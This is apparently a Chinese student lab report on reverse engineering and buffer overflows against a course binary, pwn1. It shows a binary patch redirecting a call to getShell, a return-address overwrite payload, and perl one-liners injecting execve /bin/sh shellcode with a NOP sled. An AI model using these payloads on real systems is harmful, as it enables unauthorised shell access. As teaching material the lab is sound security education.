《網絡攻防》 Exp1 PC平臺逆向破解(5)M
《網絡攻防》 Exp1 PC平臺逆向破解(5)M
逆向及Bof基礎實踐說明
1.1 實踐目標
- 本次實踐的對象是一個名為pwn1的linux可執行文件。
- 該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
- 該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。我們實踐的目標就是想辦法運行這個代碼片段。我們將學習兩種方法運行這個代碼片段,然後學習如何註入運行任何Shellcode。
- 三個實踐內容
- 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
- 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
- 註入一個自己制作的shellcode並運行這段shellcode。
- 思路
- 運行原本不可訪問的代碼片段
- 強行修改程序執行流
- 以及註入運行任意代碼。
1.2 基礎知識
- Linux基本操作
參考網頁
https://www.cnblogs.com/crazylqy/p/5818745.html
http://blog.csdn.net/zl_best/article/details/53504712
- Bof的原理
緩沖區溢出是一種非常普遍、非常危險的漏洞,在各種操作系統、應用軟件中廣泛存在。利用緩沖區溢出攻擊,可以導致程序運行失敗、系統宕機、重新啟動等後果。更為嚴重的是,可以利用它執行非授權指令,甚至可以取得系統特權,進而進行各種非法操作。
攻擊原理:
通過往程序的緩沖區寫超出其長度的內容,造成緩沖區的溢出,從而破壞程序的堆棧,造成程序崩潰或使程序轉而執行其它指令,以達到攻擊的目的。造成緩沖區溢出的原因是程序中沒有仔細檢查用戶輸入的參數。例如下面程序:
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
上面的strcpy()將直接把str中的內容copy到buffer中。這樣只要str的長度大於16,就會造成buffer的溢出,使程序運行出錯。存在象strcpy這樣的問題的標準函數還有strcat(),sprintf(),vsprintf(),gets(),scanf()等。
當然,隨便往緩沖區中填東西造成它溢出一般只會出現“分段錯誤”(Segmentation fault),而不能達到攻擊的目的。最常見的手段是通過制造緩沖區溢出使程序運行一個用戶shell,再通過shell執行其它命令。如果該程序有root或者suid執行權限的話,攻擊者就獲得了一個有root權限的shell,可以對系統進行任意操作了。
- 會使用gdb,vi
參考網頁
http://blog.csdn.net/luoying198791/article/details/20715499
實踐一:直接修改程序機器指令,改變程序執行流程
- 知識要求:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反匯編指令objdump,十六進制編輯工具
- 學習目標:理解可執行文件與機器指令
- 進階:掌握ELF文件格式,掌握動態技術
實驗過程:
- 首先進行文件的拷貝,防止出現操作錯誤,使得源文件被改變。
- 通過
objdump -d pwn1_20155308
命令對文件進行反匯編。
- 關註這幾個部分
- 通過命令
vi pwn1_20155308
編輯文件,通過命令:%! xxd
把文件轉為十六進制編輯模式
- 通過命令
/d7ff
查找要修改的內容
main函數調用foo,對應機器指令為“ e8 d7ffffff”,
那我們想讓它調用getShell,只要修改“d7ffffff”為,"getShell-80484ba"對應的補碼就行。
用Windows計算器,直接 47d-4ba就能得到補碼,是c3ffffff。
- 輸入
i
進入編輯模式,即把d7為c3 - 輸入命令
:%! xxd -r
將文件轉回至二進制形式 - 輸入
:wq
保存並退出 - 通過
objdump -d pwn1_20155308
命令對文件進行反匯編,觀察到程序已從原來跳轉至foo函數變為跳轉至getshell函數
實驗結果:
實踐二;通過構造輸入參數,造成BOF攻擊,改變程序執行流
- 知識要求:堆棧結構,返回地址 學習目標:理解攻擊緩沖區的結果,掌握返回地址的獲取 進階:掌握ELF文件格式,掌握動態技術
反匯編,了解程序的基本功能
objdump -d pwn1 | more
註意這個函數getShell,我們的目標是觸發這個函數
該可執行文件正常運行是調用如下函數foo,這個函數有Buffer overflow漏洞
這裏讀入字符串,但系統只預留了__字節的緩沖區,超出部分會造成溢出,我們的目標是覆蓋返回地址
上面的call調用foo,同時在堆棧上壓上返回地址值:++80484ba++
現在我們需要確認輸入的字符串哪幾個字符會覆蓋到返回地址
輸入命令gdb pwn2_20155308
進行調試
通過命令r
進行運行,通過命令info r
可查看各寄存器的值
如果輸入字符串1111111122222222333333334444444412345678,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那只要把這四個字符替換為 getShell 的內存地址,輸給pwn1,pwn1就會運行getShell。
確認用什麽值來覆蓋返回地址
getShell的內存地址,通過反匯編時可以看到,即0804847d。
接下來要確認下字節序,簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d,還是輸入11111111222222223333333344444444\x7d\x84\x04\x08。
對比之前 ==eip 0x34333231 0x34333231== ,正確應用輸入 ==11111111222222223333333344444444\x7d\x84\x04\x08==。
構造輸入字符串
由為我們沒法通過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,所以先生成包括這樣字符串的一個文件。\x0a表示回車,如果沒有的話,在程序運行時就需要手工按一下回車鍵。
實踐三:註入Shellcode並執行
- shellcode就是一段機器指令(code)
通常這段機器指令的目的是為獲取一個交互式的shell(像linux的shell或類似windows下的cmd.exe),
所以這段機器指令被稱為shellcode。
在實際的應用中,凡是用來註入的機器指令段都通稱為shellcode,像添加一個用戶、運行一條指令。
--
最基本的shellcode的編寫可參考許同學的文章Shellcode入門,寫得非常之清楚詳實。以下實踐即使用該文章中生成的shellcode。如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
準備工作
?輸入命令execstack -s pwn1
設置堆棧可執行。但是系統提示“未找到命令”,則應輸入命令apt-get install execstack
進行安裝。系統會提示產生一下錯誤,我上網尋找了答案,應該輸入以下命令給它管理員權限。
之後根據命令輸入。
構造要註入的payload
- Linux下有兩種基本構造攻擊buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr。
-因為retaddr在緩沖區的位置是固定的,shellcode要不在它前面,要不在它後面。
簡單說緩沖區小就把shellcode放後邊,緩沖區大就把shellcode放前邊
-我們這個buf夠放這個shellcode了。
結構為:nops+shellcode+retaddr。
nop一為是了填充,二是作為“著陸區/滑行區”。
我們猜的返回地址只要落在任何一個nop上,自然會滑到我們的shellcode。
root@KaliYL:~# perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode
接下來我們來確定\x4\x3\x2\x1到底該填什麽。
打開一個終端註入這段攻擊buf:
perl -e ‘print "A" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"‘ > input_shellcode
https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_%E9%80%86%E5%90%91%E4%B8%8EBof%E5%9F%BA%E7%A1%80.md
《網絡攻防》 Exp1 PC平臺逆向破解(5)M